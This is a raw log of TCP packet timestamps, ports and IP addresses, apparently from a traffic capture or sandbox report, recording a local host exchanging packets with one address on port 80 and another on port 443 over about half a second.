Nov 22, 2024 14:43:30.302298069 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.303227901 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.303277969 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.303423882 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.303469896 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.304389954 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.304434061 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.304555893 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.304600954 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.305588007 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.305634975 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.305670023 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.305713892 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.306623936 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.306675911 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.306689978 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.306732893 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.307785988 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.307857990 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.307923079 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.307966948 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.308788061 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.308832884 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.308931112 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.308973074 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.309962988 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.310008049 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.310141087 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.310184002 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.311060905 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.311104059 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.311249971 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.311294079 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.312153101 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.312176943 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.312205076 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.312220097 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.339791059 CET	443	49741	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.340298891 CET	49741	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.340320110 CET	443	49741	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.340802908 CET	49741	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.340811014 CET	443	49741	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.343740940 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.343800068 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.343800068 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.343841076 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.344264030 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.344315052 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.344548941 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.344590902 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.344599962 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.344639063 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.345594883 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.345660925 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.345685005 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.345721006 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.345813990 CET	443	49740	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.346146107 CET	49740	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.346155882 CET	443	49740	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.346529007 CET	49740	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.346533060 CET	443	49740	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.346708059 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.346760988 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.346833944 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.346880913 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.347815037 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.347862005 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.347919941 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.347966909 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.348901987 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.348948002 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.349023104 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.349066973 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.350074053 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.350131989 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.350146055 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.350189924 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.351197958 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.351243973 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.351385117 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.351428986 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.352272987 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.352317095 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.352446079 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.352489948 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.353430033 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.353473902 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.353549004 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.353591919 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.354542017 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.354588032 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.354588032 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.354628086 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.355649948 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.355722904 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.356138945 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.356183052 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.356761932 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.356810093 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.356838942 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.356879950 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.357877016 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.357928038 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.357938051 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.357980013 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.358995914 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.359040022 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.359066963 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.359112024 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.360132933 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.360178947 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.360275030 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.360316038 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.361232996 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.361279964 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.361321926 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.361365080 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.362349987 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.362394094 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.362464905 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.362507105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.363470078 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.363513947 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.363562107 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.363604069 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.364577055 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.364620924 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.364733934 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.364775896 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.450211048 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.450265884 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.450309992 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.450340986 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.450670004 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.450725079 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.450794935 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.450838089 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.451852083 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.451905012 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.452003002 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.452052116 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.452991009 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.453058004 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.453135014 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.453176975 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.454024076 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.454081059 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.454111099 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.454157114 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.455149889 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.455193996 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.455292940 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.455332994 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.456290007 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.456340075 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.456418991 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.456468105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.457447052 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.457495928 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.457570076 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.457617044 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.458503962 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.458551884 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.458609104 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.458659887 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.459631920 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.459686041 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.459743023 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.459790945 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.460788012 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.460860014 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.460860968 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.460972071 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.461843014 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.461891890 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.461941957 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.461981058 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.463044882 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.463103056 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.463146925 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.463192940 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.464119911 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.464181900 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.470781088 CET	443	49739	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.472070932 CET	49739	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.472070932 CET	49739	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.472088099 CET	443	49739	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.472105026 CET	443	49739	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.499803066 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.499871016 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.499872923 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.499922991 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.500274897 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.500329018 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.500468969 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.500515938 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.501383066 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.501480103 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.501562119 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.501602888 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.502384901 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.502425909 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.502721071 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.502763987 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.502826929 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.502870083 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.503789902 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.503834009 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.503844976 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.503882885 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.504862070 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.504906893 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.504968882 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.505012989 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.506011009 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.506087065 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.506144047 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.506186962 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.507015944 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.507057905 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.507093906 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.507137060 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.508048058 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.508095980 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.508105993 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.508150101 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.509224892 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.509268999 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.509316921 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.509357929 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.510207891 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.510253906 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.510323048 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.510368109 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.511265993 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.511284113 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.511317968 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.511339903 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.512340069 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.512391090 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.512547970 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.512592077 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.513463974 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.513508081 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.513612032 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.513653040 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.514528990 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.514574051 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.514589071 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.514640093 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.515523911 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.515577078 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.515634060 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.515674114 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.516572952 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.516612053 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.516695976 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.516737938 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.517652988 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.517704964 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.517764091 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.517805099 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.518687963 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.518729925 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.518816948 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.518861055 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.519764900 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.519814014 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.519849062 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.519893885 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.548402071 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.548460960 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.548515081 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.548548937 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.548990965 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.549036026 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.549191952 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.549235106 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.549276114 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.549324036 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.550146103 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.550188065 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.550256968 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.550299883 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.551203966 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.551266909 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.551301956 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.551347017 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.552293062 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.552337885 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.552484035 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.552529097 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.553406000 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.553437948 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.553466082 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.553491116 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.554394960 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.554445028 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.554522038 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.554563046 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.555499077 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.555543900 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.555593967 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.555636883 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.556512117 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.556560993 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.556642056 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.556684017 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.557678938 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.557743073 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.557775974 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.557800055 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.558690071 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.558751106 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.558773994 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.558818102 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.559813976 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.559843063 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.559880972 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.559891939 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.560817003 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.560868025 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.560957909 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.561002970 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.561856031 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.561914921 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.651375055 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:30.651470900 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:30.711199045 CET	443	49742	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.711949110 CET	49742	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.711958885 CET	443	49742	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.712488890 CET	49742	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.712495089 CET	443	49742	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.737159967 CET	443	49738	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.737231016 CET	443	49738	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.737293959 CET	49738	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.737582922 CET	49738	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.737602949 CET	443	49738	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.737631083 CET	49738	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.737638950 CET	443	49738	13.107.246.63	192.168.2.6
